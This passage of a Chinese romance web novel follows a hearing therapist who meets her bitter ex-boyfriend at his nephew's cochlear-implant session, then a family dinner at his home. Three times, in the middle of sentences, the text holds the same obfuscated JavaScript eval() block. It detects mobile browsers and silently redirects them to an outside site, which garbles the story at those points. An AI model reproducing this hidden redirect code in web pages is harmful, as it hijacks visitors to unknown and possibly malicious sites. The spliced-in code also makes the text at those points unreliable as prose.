早在拿到卫谦的病历时,她便知道这是卫珣的姐姐──卫瑾的儿子,毕竟病患档案上详细地记录了患者的各种信息,且由于卫谦是未成年儿童,因此档案里也记载了有关他父母的信息。 而在与吴主任及张老师讨论卫谦的情况时,他们也无意间提及了这是泽越集团家的小孙子,所以她早就知道会在治疗课上见到故人。 只是她没想到这位“故人”竟然会是卫珣,她本以为带卫谦来的人是卫瑾和谢怀瑜,又或者是卫珣的父母。 此刻和卫珣待在同一间治疗室内,即便他们之间还隔着一个卫谦,可阙宛舒仍然感觉到自己的呼吸逐渐变得凝滞,手心冒出薄汗,指尖的温度却很凉。 她努力调整呼吸,试着把他当成一个普通的个案家属,道:“卫先生您好,我是接下来会替卫谦小朋友进行听能康复训练的治疗师,我叫阙宛舒……” “这种开场白就免了吧。”卫珣忽然打断了她,他垂着眼睛,放在桌上的长指一下一下地敲打着桌面,语气不耐:“我们难道是第一天认识吗?” 说完,他恰好抬起眼,目光撞入阙宛舒的眼里,明明他的眼神很平静,可她却感觉被刺了一下般,下意识避开了视线。 阙宛舒有些懊恼。 他们之间,确实不需要这种佯装陌生的客套话。 于是她沉默了几秒后,缓声道:“由于今天是第一堂课,因此课程内容会以评估卫谦的听觉能力为主,在评估开始前,我会先询问你有关卫谦的信息,包含他的病史、家族史,植入人工电子耳前后的听力状况,日常生活中观察到的言语发展等等,接着我会透过一些小活动来评估他的听能发展与表现,而在课程结尾也会和你讨论他目前的状况,并针对他的课堂表现进行咨商和卫生宣教。” “以上说明,若有任何问题都可以提出。” “我对于课程内容没有任何异议,不过倒是有几件事想询问阙老师。”卫珣道,在说到“阙老师”三个字时,他似乎微妙地笑了一下,但又很快敛起。 阙宛舒道:“请说。” “首先,我的姐姐和姐夫也很关心卫谦的情况,可惜他们临时有要事在身不克前来,不过对于课程内容与卫谦的表现,他们十分关注。“卫珣拿起手机,道:“所以,待会我会全程录音,阙老师不介意吧?“ 看着他手机屏幕上的录音界面,阙宛舒愣了一下,确实也有不少家长会希望能将课程内容录下来,她从前也碰见过几次,因此当下并没有多想,便答:“可以的。” 卫珣点点头,立刻按下录音键,并把手机放在桌面上。随后他抬眼看着她,淡声道:“第二件事,其实我们原先属意的治疗师是张书兰老师,毕竟张老师经验丰富,资历颇深,更是国内研究小儿听能训练和言语治疗方面的专家。” “但是张老师向我们举荐了你,就连卫谦的主刀医师吴世安主任也对你大加赞赏,因此我们才转而选择你成为卫谦的治疗师。”他说到这忽然话锋一转,目光变得锐利起来,似要洞穿她的灵魂:“不过阙老师毕竟初出茅庐,也很年轻,和投入小儿听能复健领域已近二十年的张书兰治疗师比起,实在令人难以全心信任。” 阙宛舒闻言抿起唇,点点头:“……我明白。” 卫珣紧盯着她的脸,没有错过她面上任何一个细微的表情,“所以,请容许我针对阙老师的经历询问几个问题,以增加彼此之间的信任。” 他说这句话时没有用问句,显然不打算听见否定的回答,阙宛舒只好道:“你请说。” 卫珣抛出的第一个问题是:“阙老师是哪所学校毕业的?大学时学的专业是什么?” 这个问题出乎意料的正常,阙宛舒只顿了一下便答:“宜安医科大学,听力与言语康复学系毕业。” “是所不错的学校。”卫珣评价道,又问:“阙老师是大学时才去的宜安市?” 话音落下,周遭陷入短暂的沉默。 阙宛舒深吸一口气,回道:“不是,我……是高中毕业后去的宜安市,先在宜安第三中学复读了一年,隔年才考上了宜安医大。” “是吗。”卫珣扯了扯嘴角,继续问:“为什么复读?” “……” 阙宛舒再度沉默。 为什么复读吗? 有关这个问题,他不是也知道吗? 她抬头看着面前的人,此刻他们彼此相互侧对着,目光在半空中相撞。她看见卫珣正定定地看着她,像要用目光将她彻底剖开,透析她的所有。 这时,阙宛舒忽然笑了,可这个笑容却让卫珣觉得分外刺眼。 她说:“因为本来打算出国留学,所以没有参加国内的高考,可是出国前家里突然破产了,我没有钱能够负担留学的费用,只好留在国内复读。” “……” 卫珣没有立刻回话,他垂着眼睛不知在想些什么,过了好一会才说:“在那之后,你一直待在宜安?” 阙宛舒摇了摇头,轻声说:“大学毕业后,去了澳洲两年。” 卫珣突然笑出了声,语带讽刺:“不是没有钱负担留学的费用吗?怎么大学毕业后又突然有了?” “我拿到了奖学金,大学时也靠打工存了点钱。”阙宛舒解释道:“还有,我的小阿姨资助了我学费和部分的生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830209|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费。” 听见后半句话,卫珣脸上的表情出现了一丝崩裂,他抿了抿唇,尽量让自己不显得那般失控,可语气却仍然如同在质问罪大恶极的犯人般恶意满满:“所以,阙老师也不是不能接受他人的资助。” 这句话一出口,周遭的气氛瞬间降到冰点。 阙宛舒忽而有一瞬间的恍惚,望着卫珣那双酝酿着怒意与嘲讽的眼睛,深埋在大脑深处的记忆忽如浪潮般翻腾而起,仿佛带着她回到了那个被大雨冲刷的夜晚。 高中毕业后,她本来是打算和卫珣一起出国留学的。 那时他们俩都已经申请上了学校,她申请上纽约视觉艺术学院的插画专业,他则在宾夕法尼亚大学沃顿商学院,虽然两所学校不在一个城市,但都位于美国东岸,且纽约距离宾大所在的费城只有不到两个小时的车程,只要他们想,每周都可以见面。 他们甚至想过,或许也可以直接在两座城市之间的地方买栋房子,他们可以住在一起,白天一起出门上学,到了晚上一起回家,闲时去逛逛超市和商场,放假了就去周边城市旅游、找朋友玩,或者干脆不出门,就这样两个人腻在一起一整天。 也曾想过,毕业以后就回国结婚,往后的人生都待在一起。 可是这些想像在她家出事的那一刻就全部被打破了。 即便已经过了许多年,阙宛舒还是觉得那段灰暗的日子如恶梦般不堪回首。 谁能想到煊赫一时的阙家长源海运会忽如大厦倾倒般骤然倒下,随后长源海运宣布破产、所有资产被抵押给债权人,以及她父亲因挪用公司资金进行非法投资、洗钱,因而被检方羁押的消息接踵而来。 然后是她母亲忽闻噩耗,过去因车祸而长出、一直埋在脑内不自知的肿瘤破裂,造成颅内出血,损伤到掌管语言能力的大脑布洛卡区,因而罹患了失语症。 父母接连出事,才刚成年不久的阙宛舒甚至连难过的时间都没有,只能强打起精神,在律师的协助下变卖所有资产填补债务、出席父亲的审判,又带着母亲四处寻求治疗。 最后,她在医生的建议下带着精神已不稳定的母亲离开从小生活到大的梓城,回到小阿姨一家所在的老家宜安市。 阙家出事后,她曾经和卫珣吵了一架。 理由是他们对于未来的规划产生了分歧,卫珣想要阙宛舒按照原定计划和他一起去美国,他表明自己会负担她在国外的所有费用,甚至是她母亲的医疗费。 他说,可以把她妈妈也接到美国,他会找个适合的医疗机构治疗她妈妈的失语症,而他们依然可以按照曾经想像的那样住在一起,一起上学、一起回家,毕业后就回国结婚,从今往后的人生都待在一起。 可是阙宛舒拒绝了他。 她并不打算出国,一是要治疗母亲的失语症,待在母语环境下更为合适,二是她父亲虽然入狱,但她也不能抛下他就此远走异国,三是她的自尊心不容许她成为只能依附着卫珣的金丝雀。 对于一同出国的事迟迟达不成共识,最后卫珣妥协了,可他妥协后提出的解决办法是,他要放弃已经申请上的学校,留在国内和她一起复读。 “只要可以和你待在一起,我什么都愿意做。” 十八岁的卫珣有着一双炙热明亮的眼睛,他自小养尊处优、众星捧月,优越的家世与长辈的宠爱使得他从不必在意他人的想法,想做什么就做什么,因此他总是随心所欲、任性而为,活得分外自由。 阙宛舒不觉得这样的他有什么不好,她希望他能永远自由自在、被人群簇拥,她也乐得包容他的所有,不管是任性、脾气,还是他那份炙热得仿佛能将人灼伤的爱。 可是,她可以答应他任何事,唯独这件事不行。 不仅她不能答应,他的家人也不可能答应。 所以在他母亲来找过她之后,她主动和他提了分手。 在某个下着雨的夜晚,仅用一则短信就甩了他,尔后她带着妈妈坐上了离开梓城的车,自此从他的世界里销声匿迹。 7. Chapter 07 卫珣会怨恨她是正常的。 阙宛舒并不奢求能得到他的原谅,也并不打算为自己辩解,因为她当年确实在众多选择之中,选择舍弃了他。 因此如今面对他的嘲讽,她只是平静地说:“那是我的亲人。” 她可以接受亲人的资助,却不能接受他的。 听见这句话,卫珣简直气笑了,他真想一刀把她的心脏剖开,看看里头到底有没有对他的半点真心,看看他在她心里到底算个什么。 不如她父母也就罢了,他甚至不如那个不知从哪个旮旯冒出来的狗屁小阿姨? “卫先生还有任何问题吗?”阙宛舒看了眼腕表,道:“没有的话我就开始今天的治疗课程了,我们已经耽误了不少时间。” 不过问她几句话就叫耽误了时间?这都叫上卫先生了? 瞧瞧,从前分明一口一个阿珣和小宝,如今他都沦落成“卫先生”了,果然是个狼心狗肺的女人。 卫珣的眼中压着怒意,话音里也带上几分戾气:“是吗,耽误了阙老师的时间还真是不好意思。” 这句“不好意思”说得咬牙切齿的,就算阙宛舒不是珣语十级选手,也能轻而易举地捕捉到他的情绪,更不用说她是。 她心里有些无奈,面上却不显,只是一本正经地开始询问他关于卫谦的病史。 原以为卫珣就是个来找碴的,没想到她问的每一个问题他竟然都能回答得出来,显然对卫谦的状况非常了解,平常也没少和他互动。 写完评估表,阙宛舒拿起一个小熊样式的木铃,对卫珣说:“卫谦舅舅,待会我会使用有声玩具来评估卫谦的听能表现,过程中需要你和我轮替,请你模仿我做出一样的动作和声音,可以吗?” “不可以。”卫珣冷着脸答道,在阙宛舒疑惑的目光下,他有些忍无可忍地说:“我没有名字吗?” 阙宛舒:”……?” 她愣愣地看着卫珣,此刻他面色不善,浑身上下都像笼罩着一层低气压,就连坐在他俩中间,兀自玩着小汽车玩得不亦乐乎的卫谦都抬头看了自家舅舅一眼。 见她面露不解,卫珣更不爽了。 叫他卫先生也就罢了,卫谦舅舅是什么鬼?敢情他在她这里连名字都不配有,只能成为外甥的附属是吧? 额上不自觉冒出了青筋,他忍不住恶声恶气道:“还是说,阙老师已经忘了前男友叫什么名字了?呵,那还真是薄情。” 阙宛舒当然不是这个意思。 这时她也意识到卫珣不满的原因是什么了,她无声叹息着,忽然轻轻喊了他一声:“卫珣。” “……” 随着她轻柔的语声飘进耳里、传递到大脑,又牵动着神经将酥麻酸涩的感觉蔓延到心脏,身体里不断膨胀的怒意和烦躁感骤然停滞,卫珣奇异地平静下来。 他像是倏地被好好地顺了毛的狮子,低低地应了一声:“……嗯。” 阙宛舒解释道:“我不是不愿意称呼你的名字,而是因为对卫谦来说,‘舅舅’这个称呼比’卫珣’更熟悉,所以在他面前,我都会称呼你为‘舅舅’。” 听见这段解释,卫珣的嘴角抽动了下,似欲上扬,又在下一秒飞快地拉直。 他啧了一声,道:“行,你可以叫我舅舅。” 阙宛舒:“……” 不知道是不是错觉,她总觉得他理解的意思和她的不一样。 不过她也没有细究,拿起木铃开始了卫谦的听能评估。 听觉能力总共可以分为四个阶段,分别是察觉、分辨、辨识和理解。 第一阶段为察觉声音的能力;第二阶段则是分辨两种不同声音的能力,如分辨“喵喵”与“汪汪”为不同的声音;第三阶段是辨识出特定声音的能力,如辨识出狗叫声是“汪汪”,猫叫声是“喵喵”;最后一个阶段则是理解一段语音的能力。 对于后天失聪的成人来说,听能的训练目标多着重在辨识与理解,旨在降低听力损失所带来的影响,并提升个人的生活品质。 而对于先天失聪的孩童来说,听觉是种陌生的感知能力,听能的训练于他们而言并非是“从有到好”的“复健”,而是“从无到有”的“创建”,治疗师必须从察觉这一阶段开始培养儿童对声音的感知能力,协助他们建立声音与这个世界的连结,尔后才会进行到训练他们对于语音的理解。 卫谦在植入人工电子耳前,已经配戴过助听器一段时间,同时辅以听能训练,可惜成效不彰,因此医生才会建议植入人工电子耳。 许多家长都会有这样的想法,他们认为自己的孩子在植入人工电子耳后,便能与一般听力正常的孩童一样,不需要再进行任何听能康复训练,这其实是错误的观念。 人工电子耳又名人工耳蜗,其原理是将一段电极植入耳蜗、连接到神经,尔后借由体外的语言处理器将声波传递到植入内耳的线路,并透过该电极将信号传递至听神经以产生听觉。 电子耳所产生的声音也与正常人耳所听见的声音不同,类似于电子机器音,也有人形容像是在水中说话般模糊不清,在大脑还没有对这种声音重新进行建构前,植入者通常会很不习惯电子耳的声音,因此需要搭配听能康复训练。 而使大脑重新对陌生的声音进行建构,这又是一个分外漫长的过程。 有趣的是,年纪愈小的孩童的大脑神经可塑性愈强,比之成人更容易习惯并在脑中对电子耳的声音进行建构,因此在植入后若进行适当训练,有很大一部分的儿童植入者都能取得不错的语言发展,甚至与正常同龄儿童无异。 因此听损儿童植入电子耳与进行听能康复训练的时机制至关重要,卫谦如今一岁八个月,并不算太晚。 从卫珣的描述中可知,卫谦在植入电子耳前对声音并无太大反应,不仅面对大音量声响,诸如关门声、汽车喇叭声等,甚少产生惊吓反应,对于有声玩具、亲人的呼唤声也没有太大兴趣,且到了本该牙牙学语的年纪,他却也不怎么发出声音。 在今日的课程中,阙宛舒不断使用不同的有声玩具在他身边发出声响,能注意到他在看见玩具前除了偶尔的细微眼神外,并没有太大反应。 他对于转头寻找声源的反应也很不稳定。 卫珣看得眉头紧蹙,阙宛舒却仍面带笑容,神情自然。 “谦谦,是‘咚、咚、咚’,敲敲鼓!”她手里拿着一个小鼓和鼓棒,一边敲打鼓面一边发出仿真鼓声的状声词,“咚咚咚,敲敲鼓!” 卫谦见状直盯着她手里的鼓棒,探手欲拿,却被阙宛舒交到卫珣手里:“换舅舅。” 卫珣的面色有些僵硬,不过还是在阙宛舒鼓励的眼神下,模仿她刚才的动作和声音:“咚咚咚,敲敲鼓。“ 他的语气十分平直,声音也很低沉,并不是幼儿会感兴趣的声音,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830210|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是因为他经常陪小外甥玩,因此卫谦对于他的动作和声音更有反应。 他不停挥动着手臂想拿卫珣手里的小鼓,同时嘴里“啊啊“地叫唤着,阙宛舒见状弯起眼睛,将鼓棒交到他手里。 卫谦是个很聪明的孩子,虽然在听觉能力这方面必须从头开始,但他的认知、社交情感、粗动作和精细动作,都与正常孩童的发展相仿,并未落后太多。 只见他拿到鼓棒后,立刻模仿阙宛舒和卫珣方才的动作,用鼓棒大力敲击着小鼓,阙宛舒则在旁配合他的动作说:“咚咚咚,敲敲鼓!” 重复了几次后,她笑着摸了摸卫谦的脑袋,道:“谦谦好棒哦。” 也许是意识到她在夸奖自己,卫谦竟挥舞着鼓棒笑了起来。 阙宛舒脸上的笑意更深,她抬手抹了下他的小鼻子,笑盈盈地说:“这么开心呀,因为老师夸奖你了吗?谁是今天最棒的小朋友?是——我们谦谦!” 她一边说一边握着卫谦的双手举起来晃了晃,逗得他咯咯地不停笑着。 治疗室里一时充斥着女子轻柔明亮的声音与小孩的笑声,卫珣则沉默地坐在一旁,一眨也不眨地盯着阙宛舒。 当她不经意抬起眼,含笑的目光与他的视线在半空中相撞时,他忽然感觉呼吸一滞,心跳骤然漏了一拍。 压抑已久的情感乍然如星火燎原,烧得心脏与灵魂几欲起火。 这时课程也已进行到尾声,阙宛舒正在和卫珣讨论课上卫谦的表现,卫珣表面上神情正经,实则有些心不在焉。 他努力将思绪拉回,却又每每被她絮絮叨叨的话音拉得走神,只好将注意力转到身旁的小外甥身上。 “卫谦的眼神很厉害,能注意到他经常在察觉到玩具的声音前就先用眼角余光捕捉到玩具的身影,这其实是很正常的事,因为当人们的其中一项感官能力较弱时,通常会代偿到其他感官上,所以他的视觉能力分外敏锐。因此在玩具的挑选上,必须得避免过于花俏的声光玩具,尽量选择外表普通,但能发出声音的类型。” 卫珣点点头:“嗯。” “回去后要持续用今天上课的方式和卫谦玩,毕竟治疗课一周只有一次,只靠这一周一个小时的上课时间就想取得良好成效是不可能的,更多的得依靠家长们在家里与孩子的互动和练习。” 卫珣继续点头:“好。” 今天的治疗课到此便算结束了,在他们离开前,阙宛舒突然说:“对了,关于下一堂治疗课……” 没等她说完,卫珣便接道:“下周三同样的时间对吗?到时候──” “不是的。”阙宛舒打断了他,当卫珣抬眼看向她时,便见她同样定定地看着他,表情分外认真:“我想知道你姐姐和姐夫什么时间方便。” 卫珣闻言一顿:“……什么意思?” “我希望下次上课,是你姐姐或姐夫带卫谦过来。”阙宛舒说,顿了一下,她补充道:“对了,保姆也要一起。” 卫珣:“……” 卫谦的治疗课结束后,阙宛舒正在整理治疗室,忽然收到了郑鹿梨发来的消息。 她关切地问:“怎么样,治疗课程一切顺利吗?个案家属难不难搞?” 阙宛舒拿着手机,她想起方才一脸阴沉地推着婴儿车离开的某人,不由在心里叹了口气,手指敲打着键盘,回应道:“是挺难搞。” 何止是难搞啊。 8. Chapter 08 卫家大宅。 谢怀瑜离开剧组后顺路去学校接了刚放学的大儿子卫咏,父子俩的车刚抵达卫家大宅,就见一辆黑色宾利紧随其后,在他们后头停下。 卫咏回头看了一眼,问自家父亲:“是舅舅吗?“ 没等谢怀瑜回答,便见后头宾利的车门开启,卫珣臭着一张脸下了车,随后又绕到车子另一边将坐在儿童坐椅上的卫谦抱下车。 此时司机也下了车,绕到后车厢将婴儿车拿下来,可没等他把折起的婴儿车打开,卫珣已经抱着卫谦大步往门口走,全程没看前头的姐夫和大外甥一眼,脸色难看得像是有人刚打劫了他全家。 卫咏跟在父亲身后下车,他正疑惑地看着舅舅的背影,问道:“舅舅心情不好?“ “谁知道呢。”谢怀瑜牵起儿子的手,无奈地笑笑:“也不是一天两天了。” 这些年,卫珣的脾气可谓是愈发糟糕了。 他对外倒是勉强还能维持一副冷静自持的商业菁英模样,对内简直是个鬼见愁,一天天暴躁得活像是随时都想提着炸药把别人家给炸了,就连管家雪姨养的看门狗见了他都恨不能绕道走。 套句曹英的话来说,他这就是妥妥的纯恨战士。 不过谢怀瑜却觉得用这个词形容卫珣还不够贴切,他分明就是个纯恨大魔王,主打一个看谁都不顺眼,平等地恨着所有人,谁招惹谁倒霉。 也不知道今天又是哪个倒霉蛋惹了这位大少爷。 卫家管家雪姨和卫谦的保姆向晚也有同样的疑惑,卫珣抱着卫谦进门后,向晚立刻上前想把卫谦接过来,卫珣倒是好好地把小外甥送进她怀里了,可收回手时不知为何竟好似瞪了她一眼。 向晚:“???” 没等她反应过来,大少爷已经换了鞋,一脸阴郁地往楼上去了。 向晚茫然地看着他的背影,扭头问雪姨:“他刚刚是瞪我了吗?” 雪姨点点头,道:“嗯,瞪了。” 向晚更懵了:“为啥呀?我今天没惹他啊。” 这时谢怀瑜牵着卫咏走进来,恰好听见她这一句话。他也看向雪姨,问道:“他怎么了?” 雪姨回想了下卫珣刚刚的神情,道:“生气了吧。” 谢怀瑜疑惑:“为什么?” 雪姨无奈地笑笑,道:“不知道,他下午带着卫谦去医院,出门前看着心情还挺好,回来后就变成那副模样了。” 谢怀瑜沉思,倒是向晚愈发忐忑起来,她露出后怕的表情:“难道是因为我今天没陪着他们一起去医院?可明明是少爷不让我跟着的呀。” “他不让你跟着?”谢怀瑜捕捉到关键点,见向晚点头如捣蒜,他挑了挑眉,忽然笑了一下:“我知道了。” 向晚疑惑地看向他,他却只是意味深长地笑说:“既然是去了医院后才变成这样,那只能是医院里的人惹了他。” 向晚:“???“ 哪里来的勇士敢招惹大魔王? 雪姨也想到了什么,她的脑海里蓦地浮现了一张乖巧娇俏的脸,再联想到大少爷那副炸毛的模样,不由莞尔一笑。 她没再多说什么,转身往厨房去了,道:“我去看看汤。” 谢怀瑜也把卫谦从向晚手里接过来,他一手抱着小儿子,一手牵着想和弟弟玩的大儿子,父子三人一同朝游戏房走去。 原地只剩下仍旧一脸茫然的向晚。 所以大少爷到底为什么瞪她啊?? – 三楼。 上楼以后,卫珣没有马上回房,而是走到露台上的躺椅坐下。 此刻已近傍晚,夕阳正好,从露台看过去,恰好能将整片天空收入眼底,只见绚烂的霞彩将大半天空都渲染成浓郁的橘黄色,如油画般漂亮得分外扎眼,可卫珣却无心欣赏。 他整个人靠在躺椅上,手机随意地丢在一旁的茶几,闭上眼睛,阙宛舒那副认真的表情便出现在眼前,可从她嘴里说出来的话却分外不中听。 “我希望下次上课是你姐姐或姐夫带卫谦来,对了,保姆也要一起。” 这句话到底是什么意思? 姐姐和姐夫也就算了,让保姆也跟着到底几个意思?宁愿让保姆带卫谦来上课也不愿意见到他这个卫谦的亲舅舅? 妈的,他竟然还不如保姆了。 卫珣愈想愈气,他猛地睁开眼睛,如果阙宛舒现在在他面前,他肯定要把这个可恨的女人千刀万剐。 心头一腔怒火无处发泄,恰好眼角余光瞥见茶几上的手机,他立刻坐起身,探手把手机拿过来,想找到阙宛舒的号码打过去痛骂她一顿。 可他又很快想到,早在分手那一天收到那则该死的分手短信后,她就把他的联系方式通通拉黑了。 即便他换了号码也没用,她见一个拉黑一个,可谓绝情至极。 到后来,她甚至连电话号码都换了。 想到这里,卫珣愈发面沉如水,眼神阴郁,暴虐的情绪在他全身上下每一根血管里淌动着,迫得他精神绷紧,额上冒出青筋,简直快按耐不住脾气。 他的手指泄愤似的在手机屏幕上胡乱点按着,竟无意间点开了治疗课的录音档,还不慎拉动录音档的进度条,停在了10分25秒。 卫珣鬼使神差地按下播放键,下一秒阙宛舒的声音便从手机里播放出来,恰好是那一声── “卫珣。” “……” 卫珣一顿,膨胀的情绪顿时消停。 几秒后,他长指一动,又把进度条拉回10分25秒,并按下播放。 “卫珣。” 再一次。 “卫珣。” 再一次。 “卫珣。” 再一次── 一连重复了十几次同样的动作后,卫珣忽然自感荒谬地笑了出来,他将亮着的手机屏幕按掉,往后躺回躺椅上,直盯着逐渐暗下来的天空发呆。 又过了一会,他拿着手机站起来,朝书房走去。 – 卫瑾回来时刚好赶上晚饭时间。 她最近刚接任泽越集团副董事长一职,父亲有心想锻炼她,便放手将许多集团内部的事务都交由她去做,因此她近日简直忙得脚不沾地。 今天能在这个时间回家,还是因为勉强推掉了一场酒宴的缘故。 回到家时,正好准备开饭,丈夫和儿子们已经在餐桌前落座,见她回来,一个个眨巴着大眼睛直望着她,卫瑾忍不住凑过去逐一亲过,最后被看不下去的雪姨推去洗手。 “卫珣呢?”洗完手出来,没看见自家倒霉弟弟,她不由问道:“那家伙还没回来吗?” “在楼上呢。”雪姨朝楼梯看了一眼,“刚刚叫了好几次都没回应。” 卫瑾闻言立刻朝楼梯走去,道:“我去叫他。” 上了三楼以后,她找了一圈都没看见卫珣的人影,最后停在三楼唯一上了锁的书房门口。 她在书房前敲了好一会的门,敲得手都快要瘀青时,门终于开了,卫珣一脸不耐烦地站在门后,道:“干什么。” “喊你吃饭呢。”卫瑾扫了眼他挂在脖子上的头戴式耳机,蹙起眉:“你在房里干什么呢,雪姨喊了你好几次都不回。” 卫珣将耳机拿下来,随手扔在门边的柜子上,道:“恰好没听见。” 他跟在姐姐身后下楼,走到一半,卫瑾突然回头打量着他,狐疑道:“不过你穿得这么骚包干什么?你等会要出门?” 没等卫珣回应,她又蓦地凑上前嗅一嗅他身上的气味,随后挑起眉讶异道:“你竟然还喷香水了?这是要去见谁呀?” 卫珣立刻黑了脸:“滚远点。” 他长腿一迈,飞快地越过姐姐下了楼,背影隐隐带着一点被说中之后落荒而逃的意味。 其实卫珣今天的穿搭并不夸张,只是处处透着一股精细的感觉,仿佛从头到脚的每一处穿戴都细致地搭配过,就连头发似乎也认真打理了。 不过考虑到她这弟弟本来就是个有点臭美的性格,因此她也没有多想,只想着这小子真是愈来愈没有礼貌了,竟然叫亲爱的姐姐滚远点。 她改天一定要好好地教训一下这家伙。 近日卫父卫母恰好去美国出差,因此餐桌前只有卫瑾一家和卫珣。 卫瑾和谢怀瑜坐在一起,两人的中央是坐在儿童椅内的卫谦,而卫珣则和大外甥卫咏坐在一起。 都说外甥似舅,这句话十分完美地体现在卫珣和卫咏这对甥舅身上,两人不仅外表像是一个模子刻出来的,就连性格都有几分相像。 此刻甥舅俩坐在一起,还都不约而同地垂着头用筷子扒拉着米饭,就连无精打采的神情都同步了,看得坐在他俩对面的卫瑾和谢怀瑜一头雾水。 卫珣也就罢了,这家伙就没有一天是正常的,但是卫咏这是怎么回事? 卫瑾观察了下儿子,语带关心地开口:“大圣,你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830211|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?今天在学校发生什么不开心的事了吗?” 卫咏闻言抬起头幽怨地看了她一眼,道:“不要叫我大圣。” 这个小名是卫瑾起的,原因是卫咏刚出生时又瘦小又皱巴巴的,活像只小猴子,孕期又十分闹腾,因此喜获此名。 不过随着年岁渐长,逐渐长开的他完美地继承了卫家人的容貌优点,不像小猴子了,反倒精致俊秀得像个小王子。 小王子的性格和他舅舅一样臭美,明明更小的时候很喜欢大圣这个小名,总是逢人就介绍自己叫卫大圣,可自从六岁时知道了西游记,就不乐意别人这样叫他了,每每听见都要纠正,有时还会急得哭出来,说自己长得不像猴子。 卫家几个长辈都被他哭怕了,如今只敢在私下偷偷地叫,只有卫瑾一时改不了口,偶尔会不小心当着他的面说溜嘴。 此刻接收到儿子充满怨念的眼神后,她连忙改口:“小咏,今天在学校发生什么事了吗?” 卫咏这才收回幽怨的目光,忽然叹了口气,托着腮帮子一脸苦恼地说:“今天有两个女孩子在学校打架了。” “打架?”卫瑾皱起眉,难道她儿子不慎被波及,也被打了? 事实上卫瑾猜得不错,卫咏的确不幸遭到波及,不过方式却和她想的不太一样。 只见卫咏又叹了口气,忽然语出惊人:“然后,打输的那个突然亲了我。” 卫瑾:“?????” 谢怀瑜:“咳、咳咳咳!” 卫瑾惊呆了:“亲你?为什么?” 谢怀瑜也问:“她们为什么打架?” “今天学校上美术课,老师说要两个人一组,她们都想跟我一组,然后就打起来了。”卫咏唉声叹气道:“但我不知道那个女生为什么亲我。” 卫瑾和谢怀瑜闻言面面相觑。 敢情那两个女孩子是为了卫咏争风吃醋?虽然早知道自家大儿子非常受欢迎,不过引得两个女生为自己打架── 该说大儿子蓝颜祸水,还是现在的孩子太过早熟? 他一句话引起了轩然大波,而不同于父母的夸张反应,他舅舅显得淡定许多。 卫珣瞥了身旁的大外甥一眼,问道:“亲你的是你喜欢的人?” 卫咏摇摇头:“不是。” 卫珣面色一沉:“那你揍回去了吗?” 卫咏又摇了摇头,卫珣见状啧了一声,严肃道:“下次记得揍回去,谁随便亲你你就揍谁。” 卫咏露出似懂非懂的表情,又问:“那如果是喜欢的人亲我呢?” 卫珣挑眉:“那就亲回去。” 卫瑾:“……喂,你别教他奇怪的东西。” 卫珣拿起水杯抿了一口,一副理所当然的口吻:“我只是在教他要保护自己,出门在外,不只是女孩子,男孩子也得保护好自己。” 他小时候和现在的卫咏长得差不多,也是容貌精致、气质优良的小王子一枚,不过他的脾气可比卫咏糟糕多了,谁敢惹他他就揍谁,一双小拳头简直揍遍小学无敌手,周围的小朋友们怕他都来不及,没有人敢冒死骚扰恶鬼。 卫瑾也晓得弟弟小时候是个什么德性,因此明明是颇有道理的一句话,可从他嘴里说出来却总觉得变了调。 她对此十分无语,倒是卫咏一副很认同的模样,坐在舅舅身旁一个劲地点着头,看得卫瑾一阵好笑:“你点什么头呀,你听得懂舅舅说的话吗?” 卫咏再度点头,一本正经地说:“舅舅是说,出门在外不能随便被人占便宜,也不能随便占人便宜,不然会找不到女朋友的。” 卫珣:“……” 他好像不是这个意思……算了,也差不多吧。 谢怀瑜也忍不住笑了出来,他看着人小鬼大的大儿子,笑问:“女朋友?你知道女朋友是什么意思吗?” “知道,比如妈妈和爸爸结婚前,妈妈是爸爸的女朋友。”卫咏摇头晃脑地解释着:“结婚后就变成老婆了。” 卫瑾和谢怀瑜闻言都很是惊讶,没想到他竟然理解得挺到位。 年仅七岁的小学生卫咏显然比大人们想的聪明鬼精多了,他不仅懂得多,脑子里也有着许多专属于小朋友的大道理,还藏着许多对世界的疑惑。 譬如其中一个是── “不过舅舅怎么一直找不到女朋友呢,是因为不想吗?” 卫珣:“……” 虽然是童言童语,但听起来可真是扎心。 9. Chapter 09 两个儿子都睡了之后,卫瑾和谢怀瑜夫妻俩一同坐在露台上喝酒。 卫瑾穿着单薄的睡裙,肩膀上披着丈夫刚为她拿过来的毯子,一小杯红酒喝完,谢怀瑜又接过她手里的酒杯替她倒了点。 这时,她不知道想起什么,忽然笑了一声。 谢怀瑜见妻子眉开眼笑,像是在偷着乐似的,不由跟着笑起来:“在想什么?” 